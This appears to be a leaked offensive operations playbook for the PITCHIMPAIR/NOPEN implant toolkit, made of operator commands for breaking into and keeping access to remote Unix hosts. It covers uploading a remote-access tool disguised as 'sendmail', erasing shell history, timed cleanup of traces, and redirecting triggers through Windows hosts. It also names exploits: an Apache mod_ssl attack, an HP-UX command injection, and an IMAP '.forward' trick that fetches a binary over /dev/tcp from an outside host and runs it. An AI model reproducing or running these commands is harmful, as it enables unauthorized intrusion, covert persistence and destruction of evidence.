· 9 years ago · Apr 08, 2017, 06:26 PM
1#### PITCHIMPAIR-LINUX
2#### some.target.ip
3#### 1.2.3.4
4#### /tmp/socket-root
5
6#### CONNECT (or has scrubhands already done this for you?)
7
8phone start
9
10
11#### REDIAL (if using same ISP and still have floppy this is faster)
12
13redial
14
15
16#### TCPDUMP
17
18cd /current/down
19script -af tcpdump.raw
20date; pwd; uname -a; ifconfig -a
21tcpdump -ni ppp0
22
23tcpdump -ni eth0
24
25#### WORKING WINDOWS (also use "myenv" at any local prompt for pastables)
26
27xterm &
28cd /current/down
29script -af script.$$
30DISPLAY=:0.0
31PS1="\t \h \w> "
32PATH=../bin:/current/bin:/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin
33export DISPLAY PS1 PATH; date; pwd; uname -a; netstat -rn ; ifconfig -a
34
35
36
37#### PITCHIMPAIR-LINUX
38#### some.target.ip
39#### 1.2.3.4
40#### /tmp/socket-root
41
42#### TOUCH (see also -nslookup -trace -ping and -icmptime from a NOPEN redirector)
43
44nslookup some.target.ip
45nslookup 1.2.3.4
46nslookup -query=mx target.ip
47nslookup -query=mx 1.2.3.4
48
49ping -nc 5 1.2.3.4
50
51traceroute 1.2.3.4
52traceroute -n 1.2.3.4
53
54# or with ICMP
55traceroute -I 1.2.3.4
56
57
58#### INC
59
60#### See ourtn's many many options, to include new triggers
61ourtn -h
62ourtn -H
63
64#### Get on up there
65ourtn -ue 1.2.3.4
66
67# if that one fails you have wrong ip maybe or try this
68tn.spayed 1.2.3.4
69
70#### INC TUNNEL (OLD WAY)
71
72tunnel -localport 80 -tunnel FIRSTIP:port -target FIRSTIP -target SECONDIP
73
74#### INC ONLY (no NOPEN)
75
76ourtn 1.2.3.4
77
78#### What to do?
79
80w
81
82# either make a working dir
83mkdir /tmp/socket-root && cd /tmp/socket-root && chmod 0700 .
84# or just use /tmp if deleting immediately...
85cd /tmp && ls -arlt && pwd
86
87~~p
88../up/noserver sendmail
89
90chmod 700 sendmail && netstat -an | grep 40019.*LISTEN || (PATH=. D="-l 40019" sendmail && rm sendmail) ; ls -arlt
91
92# ps -- choose one or more
93echo p | crash
94ps -ef
95ps -efwww
96pa auxwww
97
98# NOPEN for business... (should not need if using ourtn -ue, and
99# also can be found via didthis if using ourtn)
100
101cd /current/down
102../bin/noclient 1.2.3.4:40019
103
104
105#### JL without jackpop redirector
106
107suntelnet.sh 1.2.3.4 LOCALIP 23064 /tmp/socket-root sendmail 13 40019
108
109
110#### JL with -jackpop
111# Don't forget: -jackpop does not like its old windows
112# existing still on later tries.
113
114-jackpop 1.2.3.4 13 REDIRECTIP 23064
115
116###################################################### BEGIN -jackpop/nopen one-port
117###################################################### BEGIN -jackpop/nopen one-port
118######
119## NOTE: If problems (like lost connections) occur midstream with this method,
120## look for our processes stranded on target (uudecode, sendmail,
121## pt). If INCISION blessed, these will be hidden processes that will
122## show up in a NOPEN =psdiff command as HIDDEN.
123######
124######
125## JL via single available port (13 and 25 will both work) and
126## run NOPEN session via that port too.
127## Use this when JL trigger port is one and only port in or out.
128######
129######
130## LOCALLY Start this in a scripted window.
131## The local poptop will connect to 8080 down below.
132######
133myenv
134noclient -l 8080
135
136
137######
138## LOCAL PREP (can do from any local dir--paste complete blocks)
139## Some of these you willl not use, FYI.
140######
141## Unalias cp since these prompt otherwise
142unalias cp
143## Make sure this is right noserver
144packrat -l sendmail /current/up/noserver
145## Equivalently, do this step by step if you want:
146## cp /current/up/noserver /current/up/sendmail
147## compress -c /current/up/sendmail > /current/up/sendmail.Z
148## chmod 755 /current/up/noserver /current/up/sendmail*
149## uuencode /current/up/sendmail.Z sendmail.Z > /current/up/sendmail.Z.uu
150## pick right poptop
151cp /current/up/poptop.i586-pc-linux-gnu /current/up/pt
152sum -s /current/up/pt /current/up/sendmail
153chown 0:0 /current/up/pt* /current/up/sendmail*
154tar -C /current/up -cvf /current/up/u.tar sendmail pt
155compress -c /current/up/u.tar > /current/up/u.tar.Z
156uuencode /current/up/u.tar.Z u.tar.Z > /current/up/u.tar.Z.uu
157ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver"
158## Following should contain both sendmail and pt
159tar tvzf /current/up/u.tar.Z
160
161## Only need this if not using the "mostly automated" method below
162gedit /current/up/u.tar.Z.uu&
163
164## Probably don't need the rest unless target has no tar or uncompress:
165uuencode /current/up/pt pt > /current/up/pt.uu
166uuencode /current/up/sendmail sendmail > /current/up/sendmail.uu
167uuencode /current/up/u.tar u.tar > /current/up/u.tar.uu
168gedit /current/up/*.uu&
169ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver"
170
171
172######
173-jackpop 1.2.3.4 13 REDIRECTIP 23064
174## Option 3 run command on target.
175## Choose offset if needed, and IN bless or not as desired.
1763
177
178
179############################################
180###### EITHER CHOOSE THIS COMMAND
181## Mostly automated method--only works if you uudecode is on target.
182## AND YOU DO NOT GET AN INTERACTIVE SHELL--until NOPEN is up and
183## running, that is. (The environment syntax here will fail on csh
184## or tcsh, e.g. with FreeBSD.)
185##
186## If this fails (due to missing uudecode, for example), you will
187## be dropped into a shell, instead.
188######
189## IF this next line comes back with OOPS you are in an interactive shell and
190## something failed with the command (wrong shell? uudecode/uncompress not there?)
191##
192##NON-ICESKATE METHOD (using poptop):
193##
194##stty -echo;mkdir -p /tmp/socket-root ; cd /tmp/socket-root;pwd;(R=1 export R;sleep 5;uudecode&&uncompress u.tar.Z&&tar xf u.tar&&PATH=. D=-l40019 sendmail&&rm -f sendmail u.tar&&PATH=. exec pt 40019)||(echo OOPS&&exec sh)
195##
196####
197## MODIFIED SINCE NO POPTOP AVAILABLE IN OP
198##
199##
200stty -echo;mkdir -p /tmp/socket-root ; cd /tmp/socket-root;pwd;(R=1 export R;sleep 5;uudecode&&uncompress sendmail.Z&&PATH=. D=-l40019 ./sendmail&&rm -f sendmail)||(echo OOPS&&exec sh)
201##
202
203###### OR CHOOSE THIS COMMAND###############
204## More Manual method, gives interactive shell--WHOSE CONTENTS GO ACROSS IN THE CLEAR.
205######
206# Command to run (some prep, then exec shell):
207cd /tmp ; ls -arlt ; mkdir -p /tmp/socket-root ; cd /tmp/socket-root ; ls -alrt ; pwd ; exec sh
208##########################
209
210
211######
212## That pops up a window connecting to port 13
213######
214
215
216#################################### IF USING MOSTLY AUTOMATED CHOICE ABOVE
217######
218## REMOTE in popped up shell window
219######
220
221## If using port 25 as your JL port, you have to quit out of the SMTP
222## negotiation before continuing.
223quit
224
225
226## This causes local spawn program to push up /current/up/u.tar.Z.uu if
227## it exists, but it can also take an argument of what uuencoded/ascii
228## file to push up with:
229## --p (defaults to /current/up/u.tar.Z.uu )
230## --p /current/up/someotherfile
231##
232## MODIFIED SINCE NO POPTOP AVAILABLE IN OP
233##
234##
235--p /current/up/sendmail.Z.uu
236
237## Continue after seeing the traffic for the upload
238## stop in the NOPEN/-jackpop window.
239
240## This "---
241" string causes the remote and local poptop programs to
242## synch up to the waiting NOPEN server and client and should cause
243## the NOPEN listener locally to start its connection to the target.
244---
245
246## Answer "A" to abort the autodone on the first NOPEN connection.
247## Let autodone complete in one of your new windows you start up via
248## the -tunnel command that follows after "END IF"
249A
250
251## Clean up (files should be gone already, might have working directory still)
252-lt
253-cd /tmp
254-rm /tmp/socket-root
255
256## The "sh -c stty -echo;..." process can and must be killed
257ps -ef | grep stty
258kill -9 THATPID
259
260## After that, just "pt 40019" and "sendmail" processes remain
261## and must stay until end of op
262ps -ef
263
264## Continue below after the "END IF" line similar to this "ELSE IF" one.
265
266#################################### ELSE IF USING MANUAL CHOICE
267################
268#### WARNING:
269#### This popped up shell window must be exited with "exit" and NOT ^D.
270#### If you exit with ^D the sh and maybe other processes will be
271#### stranded and not die cleanly.
272################
273
274######
275## This is important: without it the paste to the uudecode fails, but
276## otherwise it doesn't do much visibly.
277######
278stty -echo
279
280# We use this shell to upload poptop and noserver.
281# But first...(paste the whole bunch)
282unset HISTFILE
283unset HISTSIZE
284unset HISTFILESIZE
285type perl uudecode uncompress tar
286
287# if the type command fails try:
288which perl uudecode uncompress tar
289
290######
291## no uudecode but we do have perl on target?
292######
293## LOCALLY run one of these (brings up new tab in gedit--use it)
294## if uncompress on target
295uudecode.pastable /current/up/u.tar.Z u.tar.Z
296## if not
297uudecode.pastable /current/up/u.tar u.tar
298
299######
300## LOCALLY select the gedit tab for what you want to
301## paste up there (based on whether uncompress is there)
302## Then middle-click paste it into target window.
303######
304######
305## REMOTE--choose whatever makes sense--all should be safe
306######
307ls -arlt
308uncompress *Z
309for i in *tar ; do tar xvf $i ; done
310ls -arlt
311ls sendmail pt && rm u.tar*
312
313
314######
315## REMOTE -- Time to run NOPEN (and it inherits this session via pt)
316######
317# Start server listening and connect to it via poptop
318# (you should see "tty should be setup...")
319PATH=. D=-l40019 sendmail
320PATH=. pt 40019
321
322# Typing this next "---
323" string activates poptop here and
324# there to connect a local noclient to the remote noserver
325# via this already established TCP session.
326---
327
328######
329## FINI - clean up a bit
330######
331## Once NOPEN is up and running, both the previous hop's
332## noclient window where -jackpop was run and the shell
333## window it popped up will be tied up until we're done
334## on the jackladder'd target.
335######
336-cd /tmp
337-ls /tmp/socket-root
338rm -rf /tmp/socket-root
339
340
341#################################### END IF (CHOICE OF WHICH, MANUAL OR AUTO?)
342
343# Op away....
344
345# AUTODONE ?? Skip the autodone stuff in your first window on target,
346# since that NOPEN session things the target's IP is 127.0.0.1.
347# Instead, use the multiple window -tunnel trick below. In tnose
348# new noclient windows on target, the correct target IP is used
349# for all of the autodone stuff.
350
351########################
352## Need multiple NOPEN windows? This is the only way...
353########################
354######
355## REMOTE start thistunnel
356######
357-tunnel
358l 40019 1.2.3.4 40019
359
360######
361## LOCALLY as many times as you need windows
362######
363noclient -c "-cd /tmp" 127.0.0.1:40019
364
365
366
367###### Bailing
368## First, -exit any NOPEN sessions you started via the -tunnel,
369## close that tunnel and quit out of -tunnel.
370##
371## Burn the NOPEN server. Post -burn/BURN on the new nopen,
372## the popped up window should exit on its own. Use the "DONE"
373## in the -jackpop window then.
374######
375-burn
376BURN
377
378
379DONE
380######################################################## END -jackpop/nopen one-port
381######################################################## END -jackpop/nopen one-port
382
383
384
385#### JL with uploaded jackpop binary (way old way)
386
387RA=REDIRECTIP RP=43122 \
388TA=1.2.3.4 TP=13 \
389sgitelnet.sh REDIRECTIP REDIRECTIP 23064 \
390/tmp/socket-root sendmail 43122 40019
391
392#### Upload jackpop before pasting command to redirector
393
394~~p
395../bin/jackpop jp
396
397#### in NOPEN window on redirector you'll need
398
399-rtun 23064
400
401#### Now paste in the "chmod 700 && ....." command sgitelnet.sh gave you
402
403
404#### CONNECT
405#### PITCHIMPAIR-LINUX
406#### some.target.ip
407#### 1.2.3.4
408#### /tmp/socket-root
409
410../bin/noclient 1.2.3.4:40019
411
412-nstun 1.2.3.4 40019
413
414-rm sendmail
415
416
417
418#### GOT ROOT?
419
420-gs info
421
422# AT JOB
423cd /; echo "rm -rf /tmp/socket-root > /dev/null 2>&1" | at now + 180 minutes
424at -l; date
425
426mx
427:%s/^at -r .*$/ at -r #### /g
428`x
429
430#### SURVEY
431
432-gs survey
433
434df -k
435
436-find some.find
437
438-lsh egrep '(tftpboot|cisco|router|hack|\.\.\.|tacac|ssh)' cmdout/some-find
439-lsh egrep '(trip|twz|tw.config|aset)' cmdout/some-find
440
441
442#### GO FREESTYLE
443#### PITCHIMPAIR-LINUX
444#### some.target.ip
445#### 1.2.3.4
446#### /tmp/socket-root
447###
448### BEGIN USER.MISSION File user.mission.generic.COMMON (see also ../etc/user.mission.generic.COMMON)
449###
450
451############- TOUCH
452#only from redirector **SKIP**
453
454nslookup domain
455nslookup ip
456nslookup -query=mx domain_name
457nslookup -query=mx domain_name
458
459############- on solaris pingflag is -s
460ping IP
461
462 TTL OS
463 2 - 32 Windows for Workgroups
464 2 - 32 Windows 95
465
466 34 - 64 Red Hat Linux (< version 6.0)
467 34 - 64 Digital UNIX
468 34 - 64 SCO
469
470 98 - 128 Windows NT
471 98 - 128 Windows 95 w/MS Dialup Network Upgrade
472 98 - 128 Windows 98
473
474 225 - 255 UNIX
475 Note: recent Sun OS 5.9 boxes TTL 34-64.
476
477################### PITCHIMPAIR INSTRUCTIONS ######################################
478
479
480###
481### begin user.mission.pitchimpair
482###
483
484 ### get rid of pesky spaces at beginning of lines (fixes pasted html)
485:%s/^[ ]*//g
486:1
487
488
489 ### Set up variables. Use the next section for reference.
490
491 ## Description Typical Value Actual Value This OP
492 ## --------------- ------------- --------------------
493 ## local-ip: LOCAL_IP
494 ## pitch-ip: PITCH_IP
495 ## target-ip: TARGET_IP
496 ## target-name: TARGET_NAME
497 ## target-domain: TARGET_DOMAIN
498 ## netcat-port: random NETCAT_PORT
499 ## rat-port: nopen port RAT_PORT
500 ## rat-name: sendmail RAT_NAME
501 ## work-dir: .scsi WORK_DIR
502
503 # Make the changes here. Use the above for reference if you need it.
504
505
506
507
508#######################################################################
509#
510# Need a new userlist ?
511#
512# -ls /global/m*/MB/*/*/*/mailinfo.dat > L:/current/down/userlist
513#
514# (N.B. the -ls will give the mailinfo.dat file timestamps in the
515# format expected by lsstamp ... see next command)
516#
517# ## now, LOCALLY run lsstamp userlist > userlist.sorted
518# ## (lsstamp will sort the -ls lines in date order)
519#
520# Collection: -get /global/m1/MB/96/8/karachi:moftec/mailinfo.dat
521#
522#
523#######################################################################
524
525
526mx
527:%s/LOCAL_IP/LOCALIP/g
528:%s/PITCH_IP/PITCH_IP/g
529:%s/TARGET_IP/TARGET_IP/g
530:%s/TARGET_NAME/TARGET_NAME/g
531:%s/TARGET_DOMAIN/TARGET_DOMAIN/g
532:%s/NETCAT_PORT/38745/g
533:%s/RAT_PORT/RAT_PORT/g
534:%s/RAT_NAME/sendmail/g
535:%s/WORK_DIR/.scsi/g
536:%s/mm-dd-yyyy/mm-dd-yyyy/g
537`x
538
539### Use this if we already own the target:
540### Create /current/etc/hops.txt file
541HOP1: PITCH_IP:R -lue
542HOP2: TARGET_IP:R -uec
543
544
545############ Set up nopen for access
546###
547
548### start upload in another window
549cd /current/up
550
551file noserver*
552cp noserver.[sparc] noserver
553
554### using NOPEN
555file noserver*
556packrat NETCAT_PORT
557 # cp noserver sendmail; compress -c sendmail | uuencode sendmail.Z > sendmail.uu
558 # ls -l sendmail.uu*
559 # nc -l -p NETCAT_PORT < sendmail.uu
560
561
562
563
564### Filters out "last" command on initial ops on the target
565echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_IP
566 # or
567echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_DOMAIN.TARGET_IP
568
569
570
571
572 ### in setting up windows, you probably want this
573
574 ### td is an alias on HURRICANE and TYPHOON to set up a TCPDUMP xterm on right screen
575
576 td
577
578 cd /current/down
579 script -a windows.tcpdump
580
581 tcpdump -i eth0 -n -n
582
583 ### in addition to this (which scrubhands may have given you)
584
585 td
586
587 cd /current/down
588 script -a tcpdump.raw
589
590 tcpdump -i ppp0 -n -n
591
592
593### Use something similar to this for annoying packets in the red tcpdump:
594### Paste in a non-scripted window:
595echo "pathcost" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters
596echo "NetBeui" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters
597echo "who-has" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters
598echo "router" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters
599
600
601
602
603 ### if done via PITCHIMPAIR infrastructure:
604 ###
605 ### Get onto INCISION host:
606 ###
607# if using hops.txt:
608ourtn
609
610# if using commandline:
611ourtn -uel PITCH_IP
612
613 # or
614 ourtn -ue PITCH_IP TARGET_IP
615 ourtn -eulc -o RAT_PORT PITCH_IP TARGET_IP
616
617 DISPLAY=
618 export DISPLAY
619
620 ./ftshell ./tn.spayed PITCH_IP
621 ### or
622 ./ftshell ourtn PITCH_IP
623
624 ### Check for our PID (shouldn't see it)
625 ps -ef|grep <PID>
626
627
628 ### See who's on
629 w ; date
630
631 ### Check for anything mucking with /tmp
632 ps -ef | grep \/tmp
633
634 df -k
635
636 dmesg
637
638 ### Create working directory - first make sure /tmp doesn't have it already
639
640 ls -al /tmp
641 cd /tmp; ls -al
642 pwd
643
644 ### check things out a bit...
645
646 ls -lart /etc | tail -30 ; uname -a ; date ; ifconfig -a ; w
647
648
649 ### maybe check logs?
650
651 ls -lart /var/adm /var/log
652
653
654 ### look for sniffers etc
655 ps -ef|grep ####
656
657
658 ### upload RAT
659
660 ~~p
661 ../up/noserver.sparc sendmail
662
663 ls -al
664 chmod 700 sendmail && netstat -an | grep RAT_PORT
665 PATH=. D="-l RAT_PORT" sendmail && rm sendmail && ls -alrt
666
667
668### in a local window, connect to pitchimpair via nopen, and start tunnels ####
669
670### Ex: noclient 217.53.1.2:39222
671
672cd /current/down
673noclient PITCH_IP:RAT_PORT
674
675 #-readrc ../etc/norc.solaris
676
677
678########################################
679# INCISION to FreeBSD implant
680########################################
681
682# from local LINUX scripted window
683export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$"
684ourtn -lue PITCH_IP
685-irtun 219.238.199.144 RANDOM_PORT -z -s 80
686setenv D -lNOPEN_PORT # NO = sign and use setenv
687set path = (. /usr/bin /bin) # NO QUOTES and use set
688~~p
689/current/up/noserver cron # freebsd noserver
690which cron
691cron
692
693# from NOPEN on the PITCHIMPAIR host:
694-nstun 219.238.199.144:NOPEN_PORT
695-cd /tmp
696-lt
697-rm cron
698-lt
699
700-------------------------------------
701export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$"
702ourtn -lz TARGET_IP # or -irtun TARGET_IP PORT -lz
703
704setenv D -lNOPEN_PORT # NO = sign and use setenv
705set path = (. /usr/bin /bin) # NO QUOTES and use set
706~~p
707/current/up/noserver crond # freebsd noserver
708which crond
709crond
710
711noclient TARGET_IP:NOPEN_PORT or -nstun TARGET_IP NOPEN_PORT
712
713
714########################################
715# JACKLADDER
716########################################
717
718### can be done without a redirector and will upload and execute nopen
719
720jacktelnet.sh TARGET_IP LOCAL_IP NETCAT_PORT WORK_DIR RAT_NAME [JACKPORT]
721
722
723########################################
724# JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT)
725########################################
726
727### Local window, let this sit and wait:
728ourtn -T 202.38.128.1 -n -I -ue -O 113 -p 443 -C 211.40.103.194 127.0.0.1
729
730### on PITCH: set up window for nopen callback
731-nrtun 113
732
733### on PITCH: set up tunnel for nopen upload
734-tunnel
735r NOPEN_UPLOAD_PORT
736
737### on PITCH, run jackpop to tickle incision
738-jackpop 202.38.128.1 110 211.40.103.194 13732
739#3 run a command
740/dev/ttyia2 PITCH_IP 443
741yes ### let incision bless the commands
742
743### incision will talk to your local window, then callback to your -nrtun window
744
745
746###################################################
747### REDIRECTING IN THRU WINDOWS
748###################################################
749
750################## SENDING TRIGGER THRU WINDOWS (2000 or XP) BOX ##########################
751##### NT4.0 doesn't allow the use of raw sockets, which is needed to send the IN trigger ##
752
753mx
754:%s/LOCAL_WINDOWS_IP/LOCAL_WINDOWS_IP/g
755:%s/LOCAL_UNIX_IP/LOCAL_UNIX_IP/g
756:%s/UNIX_INCISION_TRIGGER_PORT/UNIX_INCISION_TRIGGER_PORT/g
757:%s/INCISION_CALLBACK_PORT/INCISION_CALLBACK_PORT/g
758:%s/NOPEN_CALLBACK_PORT/NOPEN_CALLBACK_PORT/g
759
760:%s/WIN_TARG_INTERNAL_IP/10.140.0.9/g
761:%s/TARGET_IP/10.140.0.40/g
762
763`x
764
765## Usage: script unixredirect.eps LOCAL-WINDOWS-IP LOCAL-UNIX-IP UNIX-INCISION-TRIGGER-PORT INCISION-CALLBACK-PORT NOPEN-CALLBACK-PORT
766
767script unixredirect.eps LOCAL_WINDOWS_IP LOCAL_UNIX_IP UNIX_INCISION_TRIGGER_PORT INCISION_CALLBACK_PORT NOPEN_CALLBACK_PORT
768
769 ### or run the following by hand
770
771
772 ### On Windows box #####################
773
774 # Note: can use 'background' instead of 'monitor' in the windows commands
775
776 # This sends the trigger:
777 # monitor packetredirect -packettype tcp -listenport LOCAL-PORT -bind LOCAL-WIN-IP
778 # Ex. - monitor packetredirect -packettype tcp -listenport 32654 -bind DOOBIEIP
779
780 monitor packetredirect -packettype tcp -listenport LOCAL_PORT -bind LOCAL_WIN_IP
781
782
783
784 # This listens for the ish callback
785 # monitor redirect -tcp -implantlisten ISH-CALLBACK-PORT -target LOCAL-LINUX-IP ISH-CALLBACK-PORT
786 # Ex. - monitor redirect -tcp -implantlisten 28345 -target FIREBALL_IP 28345
787
788 monitor redirect -tcp -implantlisten ISH_CALLBACK_PORT -target LOCAL_LINUX_IP ISH_CALLBACK_PORT
789
790
791
792 # For nopen connection:
793 # monitor redirect -tcp -lplisten RAT-PORT
794 # Ex. - monitor redirect -tcp -lplisten 47108
795
796 monitor redirect -tcp -lplisten RAT_PORT -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP
797
798
799
800 # For additional nopen connections, increment the lplisten port, but keep the same target nopen port:
801 # monitor redirect -tcp -lplisten RAT-PORT+1 -target TARGET-IP RAT-PORT -bind LOCAL-WIN-IP
802 # Ex. - monitor redirect -tcp -lplisten 47109 -target 10.1.1.3 47108 -bind 10.1.1.2
803 # Ex. - monitor redirect -tcp -lplisten 47110 -target 10.1.1.3 47108 -bind 10.1.1.2
804
805 monitor redirect -tcp -lplisten RAT_PORT+1 -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP
806
807 ### On Linux box: #####################
808
809
810 # Once the first three windows commands are set up, you can send the trigger:
811 # ourtn -W LOCAL-WIN-IP:LOCAL-PORT -o RAT-PORT -p ISH-CALLBACK-PORT -i WIN-TARG-IP -ue TARGET-IP
812 # Ex: ourtn -W DOOBIE_IP:32654 -o 47108 -p 28345 -i 10.1.1.4 -ue 10.1.1.3
813
814 #ourtn -W LOCAL_WIN_IP:LOCAL_PORT -o RAT_PORT -p ISH_CALLBACK_PORT -i WIN_TARG_IP -ue TARGET_IP
815 #ourtn -W 192.168.254.253:31413 -O 41611 -C 202.154.225.27 -p 37541 -i 202.154.225.27 -ue 10.140.0.40
816
817 #ourtn -ueW 192.168.254.253:31413 -i 202.154.225.27 -C 202.154.225.27 -p 37541 -O 41611 10.140.0.40
818 TRAVOLTA=1 ourtn -ueW 192.168.254.22:8942 -i 10.140.0.9 -C 10.140.0.9 -p 18855 -O 7549 10.140.0.40
819
820### Use the TRAVOLTA option to keep nopen from dying in 5 hours, only if you think the op will be extended
821### If alien has issues with an nfs mount point, so use the "-Q" option to ourtn and DO NOT run the following
822### -lt /, df -k, otherwise, you'll tie up your window and will need to kill the process;
823### it's better NOT to run nopen built-ins on alien so that you can kill something if it hangs
824
825incision trigger = UNIX_INCISION_TRIGGER_PORT
826incision callback = INCISION_CALLBACK_PORT
827nopen callback = NOPEN_CALLBACK_PORT
828
829
830#ourtn -ueW 192.168.254.142:36541 -i 10.140.0.9 -C 10.140.0.9 -p 34789 -O 45665 10.140.0.40
831#ourtn -ueW LOCAL-WIN-IP:LOCAL-PORT -i WIN-TARG-IP -C WIN-TARG-INTERNAL-IP -p ISH-CALLBACK-PORT -O RAT-PORT TARGET-IP
832ourtn -ueW LOCAL_WINDOWS_IP:UNIX_INCISION_TRIGGER_PORT -i WIN_TARG_INTERNAL_IP -C WIN_TARG_INTERNAL_IP -p INCISION_CALLBACK_PORT -O NOPEN_CALLBACK_PORT TARGET_IP
833
834noclient -l NOPEN_CALLBACK_PORT
835#noclient -l 45665
836
837
838 # Call forward to nopen works to alien, start a -listen PORT to call forward
839 # Set up redirectors on windows side to allow the following connections:
840
841mx
842:%s/NOPEN_CALLFORWARD_PORT/NOPEN_CALLFORWARD_PORT/g
843'x
844
845
846# on windows side:
847background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP
848background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+1 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP
849background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+2 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP
850
851
852-listen NOPEN_CALLFORWARD_PORT
853noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT
854#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+1
855#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+2
856
857
858
859 #### To kill one server first use it to start a new one (new one won't burn)
860 D=-l23477 PATH=. sendmail
861 -burnBURN
862
863
864 # Connect to nopen; suggest using the port override option (-o) above for simplicity
865 # For additional windows, you and the windows person must increment the redirected port
866 # Ex. - noclient 10.1.1.2:47108
867 # Ex. - noclient 10.1.1.2:47109
868
869 #noclient 10.1.1.2:RAT_PORT+1
870
871
872
873###########################################################
874# YES - for HPUX
875###########################################################
876
877./yes 127.0.0.1 100083 1 PROGRAM_PORT 0x40062ea8 'mkdir /tmp/.scsi;cd /tmp/.scsi && /usr/bin/telnet PITCH_IP NETCAT_PORT </dev/console |uudecode 2>&1 > /dev/null 2>&1 && uncompress -f sendmail.Z;chmod 0700 sendmail && export D=-cPITCH_IP:NOPEN_PORT && ./sendmail'
878
879
880
881
882###########################################################
883# CUP
884###########################################################
885
886-gs wearcup -h
887
888### to have it cleanup in 3 hours:
889-gs wearcup -r <remote_name> -w 3h
890
891### to have it cleanup in 2 minutes:
892-gs wearcup -r <remote_name> -w 120s
893
894### or, run it by hand:
895### locally, edit cup, and change the working dir, and time in minutes to wait for execution
896
897
898### upload cup
899-put /current/up/cup.DEPRECATED.SEE.README.cup.NOPEN cup
900-cat cup
901
902### run cup
903./cup &
904ps -ef |grep sleep
905
906### You can kill the sleep to make it execute immediately, or just let
907### it run normally
908
909-exit
910
911#### DO NOT -burn !!!!!!!!! USE -exit INSTEAD!!!!!!!!!!
912
913###########################################################
914# HP Kernel Checks
915###########################################################
916
917# run these to check target for kernel info for implants:
918
919/usr/bin/getconf SC_CPU_VERSION
920/usr/bin/getconf SC_KERNEL_BITS
921kmadmin -s
922
923
924
925#########################################################
926# EVENLESSON
927#########################################################
928
929# runs against Linux systems running Apache with mod_ssl accessing
930# OpenSSL 0.9.6d or earlier on x86 architectures
931# May not work first time; Try increasing the number of connections to the target by 6.
932# If this fails, try increasing the number of connections by 4 until you reach 40.
933# SHould give you prompt on system - may have to elevate
934
935#-scan 443 TARGET_IP
936-scan http TARGET_IP
937-scan ssl TARGET_IP
938
939### Redirector:
940
941-tunnel
942l 443 TARGET_IP
943r NETCAT_PORT
944
945
946### query target:
947
948./apache-ssl-linux_v3 -i 127.0.0.1
949./apache-ssl-linux -i -s
950
951
952### Usage:
953# Usage: ./apache-ssl-linux <-i hostname> [-s scan banner] [-t arch] [-p port] [-n <conne
954ctions>] [-a 0x<address>]
955
956
957
958### Usage for default values:
959./apache-ssl-linux -i TARGET_IP -t ARCH
960
961
962### Usage for increasing number of connections to increase chances
963./apache-ssl-linux -i TARGET_IP -t ARCH -n 20
964
965
966#### get ptrace, forkpty, and nopen tarball ready to send:
967cd /current/up
968cp ptrace<TAB> pt
969cp noserver sendmail
970cp forkpty fp
971tar cvf 1u.tar pt sendmail fp
972uuencode 1u.tar 1u.tar > 1u.tar.uu
973
974nc -l -p NETCAT_PORT < 1u.tar.uu
975
976#### to elevate and also get nopen there:
977cd /tmp
978mkdir .scsi
979cd .scsi
980telnet LOCAL_IP NETCAT_PORT > src
981 Connection closed by foreign host.
982ls -la
983uudecode src
984ls -la
985tar xvf 1u.tar
986ls -la
987chmod 700 fp sendmail pt
988./fp
989
990#### at sh-prompt, type:
991tty
992./pt
993id
994PATH=. sendmail
995
996
997##### Cleanup
998
999/var/log/httpd/error_log
1000
1001
1002
1003
1004
1005
1006###########################################################
1007# EYEMASK
1008###########################################################
1009
1010### Imap masqerade
1011### Bring a local to get root
1012
1013### for solaris
1014
1015nc -v -l -p 53 < ../up/noserver-sparc-sun-solaris2.5.1
1016noclient -l 25
1017telnet TARGET_IP 143
1018
1019A000 LOGIN user password
1020A001 EXAMINE /etc/mail/sendmail.cf
1021A002 FETCH 1 RFC822
1022A003 EXAMINE /etc/passwd
1023A004 FETCH 1 RFC822
1024A003 EXAMINE /etc/shells
1025A004 FETCH 1 RFC822
1026A005 EXAMINE .forward
1027A006 CREATE .forward
1028A007 CREATE .forward
1029A008 APPEND .forward (\Seen) {145}
1030"| /bin/ksh -c '/bin/cat</dev/tcp/PITCH_IP/53>/tmp/sendmail;chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f /tmp/sendmail'"
1031
1032A009 DELETE .forward
1033A010 LOGOUT
1034
1035telnet PITCH_IP 25
1036HELO helo
1037MAIL FROM: user@itt.beta.net
1038RCPT TO: user@itt.beta.net
1039DATA
1040.
1041QUIT
1042
1043# echo -e "HTTP/1.0 200\n" > new
1044# cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail
1045# nc -v -l -p 53 < sendmail
1046
1047# noclient -l 25
1048
1049
1050
1051
1052
1053
1054telnet TARGET_IP 143
1055A000 LOGIN user password
1056A001 EXAMINE /etc/mail/sendmail.cf
1057A002 FETCH 1 RFC822
1058A003 EXAMINE /etc/passwd
1059A004 FETCH 1 RFC822
1060A003 EXAMINE /etc/shells
1061A004 FETCH 1 RFC822
1062A100 LIST /etc/smrsh *
1063A005 EXAMINE .forward
1064A006 CREATE .forward
1065A007 CREATE .forward
1066A008 APPEND .forward (\Seen) {11}
1067"| slocal"
1068A100 CREATE .maildelivery
